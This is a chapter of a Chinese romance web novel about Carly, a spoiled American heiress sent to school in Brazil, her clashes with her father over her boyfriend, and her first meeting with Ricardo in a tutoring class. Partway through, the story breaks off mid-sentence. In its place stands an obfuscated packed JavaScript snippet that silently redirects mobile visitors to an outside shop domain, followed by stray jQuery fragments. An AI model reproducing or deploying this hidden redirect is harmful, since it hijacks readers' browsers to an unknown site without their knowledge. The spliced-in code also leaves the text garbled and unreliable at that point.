和里卡多那份闪闪发光的初见记忆完全不同，卡莉对转校那天的经历只有一个形容词——糟糕透顶。
被硬生生从繁华的纽约拖来巴西这个穷乡僻壤，卡莉整个人都是崩溃的。她趴在车窗上，看着窗外掠过的低矮房屋和灰扑扑的街道，手指焦虑地绞着脖子上那条Tiffany项链的链坠。
没有高耸入云的写字楼群，没有第五大道随时随地想逛就逛的奢侈品店，没有眼花缭乱的灯光，没有派对，没有夜生活——什么都没有。她低头看了看自己精心搭配的整套Chanel，在这个灰蒙蒙的城市里突兀得像一只误闯进鸡窝的孔雀。
身边的人从说英语变成了叽里咕噜的葡语，那些虽然穿着名牌但完全不懂搭配的巴西学生，浑身上下透着一种让她无法忍受的土气。她绝不能变得跟他们一样不时尚。绝不！
还有布布！她最爱的布布。布布一个人留在纽约，离开了她可怎么活？晚上谁给布布发晚安？谁能聆听布布那恶心的家庭带来的压力，没有她的关心，布布会抑郁的！异地肯定会让感情变淡——
想到就做到。转学第一天，卡莉踩着一双Jimmy Choo的小高跟，身手矫健地翻出了学校围墙，趁飞快拦了一辆出租车，直奔机场。全程心跳得厉害，但更多的是一种不管不顾的快意——她卡莉·希尔维斯通，从来不是任人摆布的洋娃娃。
然后——她就被从机场押回了家。格兰特的私人安保团队效率惊人，甚至没让她过安检。
“我没想到你胆子这么大？第一天就逃学？！”格兰特站在客厅中央，西装还没来得及脱，领带被扯松了一半，额角的青筋突突直跳。
“我要回纽约！”卡莉抓起茶几上那只水晶烟灰缸，狠狠砸在地上，碎玻璃一直迸溅到她父亲的皮鞋尖前，“你根本就没有征求过我的意见！你凭什么替我做决定！”
格兰特攥紧拳头，声音拔高了八度：“你不可能再回纽约！在你和那个恶心的布布彻底断绝关系之前——”
“你永远不可能分开我和布布！”卡莉一把扫落边柜上的花瓶，瓷器碎裂的声音尖锐又刺耳。眼泪夺眶而出，她转身冲上楼梯，每一步都跺得木质台阶咚咚作响。
格兰特仰头望着那个飞速消失在二楼走廊尽头的背影，又吼了一句：“那你的零花钱将永远只有每个月一万！”
“我恨你——”从来都是副卡随便刷的卡莉带着哭腔的尖叫从楼上砸下来，紧接着，是门被用尽全力摔上的巨响，震得走廊里的装饰画都跟着晃了晃。
客厅骤然安静。
格兰特盯着二楼的方向，肩膀缓缓垮了下来，仿佛被抽走了所有的力气。他跌坐进沙发里，深深吐出一口气。管家阿弗雷德适时递上一杯冰水，冰块撞击玻璃杯壁，发出清脆的响动。女仆在阿弗的手势示意下，安静无声地上前收拾地上的碎玻璃和瓷器残片。
“阿弗，”格兰特的声音闷闷的，他摘下眼镜，用力揉了揉眉心，“为什么卡莉不理解我呢？”
不知道是从什么时候开始，他和女儿的关系变得越来越疏远，然后一步一步，走到今天这样水火不容的地步。明明小时候，卡莉最爱骑在他肩膀上咯咯笑着伸手去够树叶，天天黏在他身后喊“爹地爹地”，他走到哪儿她就跟到哪儿。
妻子去世后，他咬着牙撑起这个家，拼了命地工作，给女儿创造他能给的最好条件。可是现在——他想起之前在纽约，半夜被电话叫醒，赶去一处派对现场，看见自己十五岁的女儿蹲在马桶边吐得昏天黑地，眼线花了一脸，周围全是些不三不四的所谓“朋友”。他攥紧了手里的杯子，不知道自己到底做错了什么。
“卡莉小姐只是被那些坏人带偏了。”阿弗雷德递上一条叠得整整齐齐的毛巾，让格兰特擦拭额头的汗水，他的声音沉稳，像一剂缓慢注入的安定剂，“只要隔绝那些不好的环境和坏的人，她迟早会恢复纯洁的本质。”
提起“坏人”，格兰特刚擦过汗的手又猛地攥紧了毛巾，指节泛白：“那个卑劣的吸血鬼家族，竟然让卡莉给他们五十万美金——就为了那个恶心的鼠辈跑来找卡莉哭诉自己破产了，吃不起饭了。”
他记得清清楚楚。那天卡莉站在他面前，满脸心疼，满眼不可置信：“爸爸，你怎么这么冷漠？！布布都吃不起饭了，我给钱又怎么了？虽然我也觉得他们那家人素质很低，但是布布是无辜的啊！”
“整整五十万美金。”格兰特说到这里，太阳穴又开始突突直跳，“虽然金额不大，但没有签任何借款合同。我要是再不隔开那家子吸血鬼，下一步就是五百万，五千万。”
“您选择让卡莉小姐搬来巴西，是绝对正确的决定。”阿弗雷德是看着卡莉长大的，亲眼见证过那个笑起来像天使一样的小女孩如何一天天变得尖锐，“我已经用小姐的手机把那些人全部屏蔽，保证让他们彻底断联。”
“非常好，阿弗。”格兰特闭了闭眼，语气终于有了一丝肯定，“卡莉必须专心上学，就算她现在不明白，但这些知识总有一天用得上。她要继承我的家业，必须读完大学。”
为了防止卡莉再次买机票离家出走，格兰特当场就让阿弗把卡莉的信用卡额度限制为每月一万美金。他望着楼梯的方向，目光里全是疲惫，又全是沉甸甸的、不被理解的父爱。
【她总有一天会明白我的良苦用心。】
两个月后，坐在学校办公室里翻看卡莉成绩单的格兰特，忍不住深深叹了一口气。那叹气声又长又重，纸张在他指间轻轻抖动。
“希尔维斯通先生，卡莉小姐的成绩……一路下滑。”校长推了推眼镜，斟酌着措辞，“我们有考虑过，可能和周围的同学有一些关系。”
当然有关系。校长在心底叫苦不迭。想起那群被卡莉带得集体成绩跳水的富家子弟，他就头皮发麻。但嘴上还是挂着一团和气的微笑，想着希尔维斯通先生那张慷慨的赞助支票：“为了卡莉小姐在SAT考试中能取得理想的成绩，我们建议为她单独设立补习班，下午单独授课，这样就不会和那些影响她的人一起上了。”
“补习班里会有哪些人？”格兰特眉头皱起。他想起卡莉以前在家里单独请家教时的糟糕经历——老师被气得辞职的辞职，被捉弄得哭鼻子的哭鼻子。在学校里进行小班教学，兴许会好些。但同学的人选，必须严格把关。
“不要女孩子。她们会嫉妒我美丽的卡莉。”格兰特回忆起初中时卡莉在女校被霸凌的日子，心疼得整颗心都揪了起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759090|209568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。那时候他忙于工作，阿弗也跟着自己，导致发现的时候，卡莉已经性格大变。
“得要成绩好的，但长得不能帅。等等——最好也别丑。”格兰特又飞快地补充，“卡莉看到丑的人心情会变差。帅的绝对不行，我的卡莉不能早恋。”
校长听这话差点嘴角抽搐。您女儿那做派，一看就不知道谈了多少个了好吗？熟练到随随便便就能让一群男生上课走神心不在焉，成绩集体下滑。但他脸上的微笑纹丝不动：“……名单我肯定提前给您过目。”
格兰特点点头，满意了，再次签下一张大额支票，转身潇洒离开。皮鞋踏在走廊地面上的声响渐渐远去。
校长低头看看那张支票上的数字，又翻开了学生名册，手指在照片栏上慢慢划过。得看看，借着这个小班，还能不能再捞一笔。
而卡莉收到这个消息的时候，已经是直接被通知去上课的当天了。
好不容易跟班上的同学混了个半熟，心情刚有所好转——她愣在原地，手里的唇膏“啪”地掉在了桌上。下一秒，她踩着高跟鞋怒气冲冲地杀进校长室，跟恰好在那里的格兰特再次大吵一架，玻璃门后面的咆哮声和啜泣声交替传出，外面趴了一排偷听的脑袋。
当天下午，消息就像野火一样烧遍了整座学校。
“据说卡莉在美国有个男朋友，叫布兰登还是布拉德的，他爸要求他们分手！”
“对，就为了那个布兰登，所以卡莉看不上咱们学校的男生，全拒绝了。”
“消息保真，拉斐尔路过校长室偷听到的，现场还有兰德他们几个在场。”
关于卡莉的八卦又一次席卷了整座校园。结合班上同学断断续续透露过的细节，卡莉口中那个“完美的布布”的形象，终于被拼凑完整了。
和卡莉一样的金发，是个童星，进过迪士尼米老鼠俱乐部——虽然那个节目后来解散了吧，但听说又被唱片公司看中了，马上要出专辑！
【果然，听着也是个风云人物。】里卡多低头做着手里的数学题，笔尖在草稿纸上划过来，划过去，划出一道又一道乱七八糟没有头绪的痕迹。耳边同学们的讨论声嗡嗡地响，他手里的算式怎么都列不对，烦躁得差点划破纸面。
他又想起了昨天妈妈告诉自己的消息。
“卡卡，你们学校有个很好的机会。下午会开一节单独的补习班，给跟不上学习进度的同学准备的。师资非常好，时间上也跟你下午去俱乐部训练完全不冲突。我已经帮你交钱报名了。”
【我得好好把握机会。必须好好学习才行。】
里卡多用力甩了甩头，想把脑子里那些乱七八糟的念头全部清空。他深吸一口气，重新握紧笔杆，把注意力逼回面前的数学卷子上。
下午，他背着书包，按通知上的教室号码找过去。他推开门的瞬间脚步停住了。
教室里只摆了几张课桌，空荡荡的，而正中间坐着的那个女孩正把腿翘在桌上，漫不经心地用指甲锉修着指甲。听到开门声，她抬起眼皮，那双碧蓝色的眼睛睨了过来。
全校最漂亮的女孩——卡莉·希尔维斯通。
和她的视线撞上的那一刻，里卡多握着书包带的手指不由自主地收紧了。